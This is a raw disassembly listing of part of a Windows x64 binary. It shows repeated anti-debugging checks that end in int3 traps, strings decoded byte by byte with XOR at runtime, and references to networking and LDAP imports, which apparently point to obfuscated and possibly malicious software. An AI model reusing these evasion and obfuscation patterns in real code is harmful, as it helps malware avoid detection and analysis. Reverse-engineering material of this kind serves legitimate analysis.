lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005731d
inc edi
cmp edi, 7
jl 0x140056170
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
mov r11d, 0x2aaaaaab
cmp rax, r10
jne 0x140056330
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov r12d, 0x930f525f
mov r15d, 0xfeefbfff
mov ecx, r8d
mov rdx, r10
shl rdx, cl
mov rax, r12
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r15
xor rcx, rax
add rdi, rcx
inc r8d
cmp r8d, 8
jl 0x14005620a
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r12, 0x6665201a0
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140057328
inc edi
cmp edi, 5
jl 0x1400562d1
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x140056458
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
movabs r9, 0x5684fef9ad4a0fe0
dec r8d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005638c
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r9
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140056355
mov rax, rdi
xor rax, rdi
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x930f525f
xor rcx, rax
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140057333
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x1400563f5
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x14005656c
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x140056476
mov r9d, 0x930f525f
xor rdi, r9
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005733e
inc edi
cmp edi, 7
jl 0x14005650d
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x1400566b8
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov r12d, 0x930f525f
mov r15d, 0xfeefbfff
mov ecx, r8d
mov rdx, r10
shl rdx, cl
mov rax, r12
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r15
xor rcx, rax
add rdi, rcx
inc r8d
cmp r8d, 8
jl 0x140056593
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r12, 0x6665201a0
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140057349
inc edi
cmp edi, 5
jl 0x140056659
xor ecx, ecx
call fcn.1400d9e14
mov r11, rax
mov al, 0x26
xor ecx, ecx
mov byte [rbp - 0x67], cl
xor al, 0x54
mov byte [rbp - 0x68], al
mov byte [rbp - 0x67], bl
mov byte [rbp - 0x38], 0xca
mov byte [rbp - 0x37], 0xf3
mov byte [rbp - 0x36], 0x86
mov byte [rbp - 0x35], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp - 0x34], reloc.WLDAP32.dll_Ordinal_30
lea eax, [rcx + 3]
mov byte [rbp - 0x33], al
xor eax, eax
mov byte [rbp - 0x32], al
mov r8, rbx
mov r9, r12
lea r10d, [rcx + 6]
movabs r15, 0x8080808080808081
movabs r12, 0x1110daaf0
movabs r14, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 - 0x38]
xor dil, r8b
mov byte [rbp + r8 - 0x38], dil
inc r8
add r9, r12
add r10, 6
cmp r9, r13
jb 0x140056718
mov byte [rbp - 0x32], bl
mov r9, r11
lea r8, [rbp - 0x68]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xc00]
call fcn.1400e0a10
mov rax, qword gs:[0x3f]
mov r11d, 0x7dfe5890
cmp rax, r11
movabs r14, 0x7775fac90
mov r15b, reloc.WLDAP32.dll_Ordinal_35
mov r10d, 1
jne 0x1400568be
mov r8, rbx
mov ecx, r10d
lea r9d, [r10 + 4]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r10
sub r9, r10
jne 0x1400567c6
mov r9d, 0x930f525f
xor rdi, r9
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140057354
add edi, r10d
cmp edi, 7
jl 0x14005685c
mov rax, qword gs:[0x3f]
cmp rax, r11
jne 0x1400569d4
mov r8, rbx
mov rcx, r10
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r10
sub r9, r10
jne 0x1400568dc
mov r9d, 0x930f525f
xor rdi, r9
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005735f
add edi, r10d
cmp edi, 7
jl 0x140056972
mov ecx, 2
call fcn.1400d9e14
mov r11, rax
xor ecx, ecx
mov byte [rbp - 0x63], cl
xor r15b, 0x54
mov byte [rbp - 0x64], r15b
mov byte [rbp - 0x63], bl
mov byte [rbp + 0x20], 0xb0
mov byte [rbp + 0x21], 0x3f
mov byte [rbp + 0x22], 0xc4
lea eax, [rcx + 0xa]
mov byte [rbp + 0x23], al
mov byte [rbp + 0x24], 0x75
mov byte [rbp + 0x25], 0xbb
mov byte [rbp + 0x26], 0x68
xor eax, eax
mov byte [rbp + 0x27], al
mov r8, rbx
lea r10d, [rcx + 7]
mov r9, r14
movabs r12, 0xeeebf5920
movabs r13, 0x8080808080808081
movabs r15, 0x1110daaf0
movabs r14, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x20]
xor dil, r8b
mov byte [rbp + r8 + 0x20], dil
inc r8
add r9, r15
add r10, 7
cmp r9, r12
jb 0x140056a46
mov byte [rbp + 0x27], bl
mov r9, r11
lea r8, [rbp - 0x64]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc00]
call fcn.1400e0a10
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
cmp rax, r10
movabs r14, 0x7775fac90
mov r15b, reloc.WLDAP32.dll_Ordinal_35
mov r11d, 0x2aaaaaab
jne 0x140056c1e
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov r12d, 0x930f525f
mov r15d, 0xfeefbfff
mov ecx, r8d
mov rdx, r10
shl rdx, cl
mov rax, r12
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r15
xor rcx, rax
add rdi, rcx
inc r8d
cmp r8d, 8
jl 0x140056aff
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r15b, reloc.WLDAP32.dll_Ordinal_35
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd18]
xor rdx, rax
mov rcx, qword [rbp + 0xd10]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005736a
inc edi
cmp edi, 5
jl 0x140056bbf
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x140056d46
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
movabs r9, 0x5684fef9ad4a0fe0
dec r8d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140056c7a
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r9
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140056c43
mov rax, rdi
xor rax, rdi
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x930f525f
xor rcx, rax
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140057375
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x140056ce3
mov ecx, 1
call fcn.1400d9e14
mov r10, rax
xor eax, eax
mov byte [rbp - 0x5f], al
xor r15b, 0x54
mov byte [rbp - 0x60], r15b
mov byte [rbp - 0x5f], bl
mov byte [rbp + 0x28], 0xb0
mov byte [rbp + 0x29], 0x3f
mov byte [rbp + 0x2a], 0xc4
mov eax, 0xa
mov byte [rbp + 0x2b], al
mov byte [rbp + 0x2c], 0x75
mov byte [rbp + 0x2d], 0xbb
mov byte [rbp + 0x2e], 0x68
xor eax, eax
mov byte [rbp + 0x2f], al
mov r8, rbx
movabs rsi, 0x1110daaef
lea r9d, [rax + 7]
lea r15d, [rax + 1]
movabs r12, 0xeeebf5920
movabs r11, 0x8080808080808081
movabs r13, 0x1110daaf0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r14
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r14
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x28], dil
add r8, r15
add r14, r13
add r9, 7
cmp r14, r12
jb 0x140056dbb
mov byte [rbp + 0x2f], bl
mov r9, r10
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0xc00]
call fcn.1400e0a10
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
cmp rax, r10
mov esi, 0xfd6ccd6d
mov r11d, 0x2aaaaaab
jne 0x140056f84
mov r9d, esi
mov rdi, rbx
mov r8d, ebx
mov r12d, 0x930f525f
mov r13d, 0xfeefbfff
mov ecx, r8d
mov rdx, r10
shl rdx, cl
mov rax, r12
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r13
xor rcx, rax
add rdi, rcx
add r8d, r15d
cmp r8d, 8
jl 0x140056e67
mov rcx, rdi
xor rcx, r9
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd10], rax
add rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140057380
add edi, r15d
cmp edi, 5
jl 0x140056f24
mov rax, qword gs:[0x3f]
mov r14d, reloc.WS2_32.dll_recv
cmp rax, r10
jne 0x1400570b2
mov rdi, rbx
mov r8d, r14d
movabs r9, 0x5684fef9ad4a0fe0
sub r8d, r15d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140056fe5
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r9
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140056fac
mov rax, rdi
xor rax, rdi
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x930f525f
xor rcx, rax
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005738b
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x14005704e
movdqa xmm0, xmmword [0x1401233c0]
movdqu xmmword [rbp + 0xb08], xmm0
movdqa xmm1, xmmword [0x1401232f0]
movdqu xmmword [rbp + 0xb18], xmm1
movdqa xmm0, xmmword [0x140123340]
movdqu xmmword [rbp + 0xb28], xmm0
mov byte [rbp + 0xb38], WSASetLastError
mov byte [rbp + 0xb39], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0xb3a], Ordinal_143
mov byte [rbp + 0xb3b], 0xca
mov byte [rbp + 0xb3c], __WSAFDIsSet
mov byte [rbp + 0xb3d], Ordinal_217
mov byte [rbp + 0xb3e], 0x82
mov byte [rbp + 0xb3f], __WSAFDIsSet
mov byte [rbp + 0xb40], 0x77
mov byte [rbp + 0xb41], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xb42], Ordinal_143
mov byte [rbp + 0xb43], 0xdf
mov byte [rbp + 0xb44], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb45], __WSAFDIsSet
xor eax, eax
mov byte [rbp + 0xb46], al
mov r8, rbx
movabs r9, 0x42214f6620
lea r10d, [rax + 0x3e]
movabs r11, 0x8080808080808081
movabs r12, 0x1110daaf0
movabs r13, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xb08]
xor dil, r8b
mov byte [rbp + r8 + 0xb08], dil
add r8, r15
add r9, r12
add r10, 0x3e
movabs rax, 0x84429ecc40
cmp r9, rax
jb 0x14005717b
mov byte [rbp + 0xb46], bl
lea rcx, [rbp + 0xb08]
call fcn.14000381c
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
cmp rax, r10
jne 0x1400573a1
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x140057220
mov r11d, 0x930f525f
xor rdi, r11
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r11
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd18]
and rdx, rax
mov rcx, qword [rbp + 0xd10]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140057396
add edi, r15d
cmp edi, 7
jl 0x1400572b6
jmp 0x1400573a7
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov r11d, 0x930f525f
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x1400574e9
mov r8, rsi
mov rdi, rbx
mov r9d, ebx
mov r12d, 0xfeefbfff
mov ecx, r9d
mov rdx, r10
shl rdx, cl
mov rax, r11
sar rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r12
xor rcx, rax
add rdi, rcx
add r9d, r15d
cmp r9d, 8
jl 0x1400573c8
xor r8, rdi
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005774b
add edi, r15d
cmp edi, 5
jl 0x140057487
movdqa xmm0, xmmword [0x140123410]
movdqu xmmword [rbp + 0x9e8], xmm0
movdqa xmm1, xmmword [0x1401232b0]
movdqu xmmword [rbp + 0x9f8], xmm1
mov byte [rbp + 0xa08], 0x79
mov byte [rbp + 0xa09], 0x53
mov byte [rbp + 0xa0a], 0xad
mov byte [rbp + 0xa0b], 0xf4
mov byte [rbp + 0xa0c], 0x7c
mov byte [rbp + 0xa0d], 0xda
mov byte [rbp + 0xa0e], gethostname
mov byte [rbp + 0xa0f], reloc.WS2_32.dll_gethostname
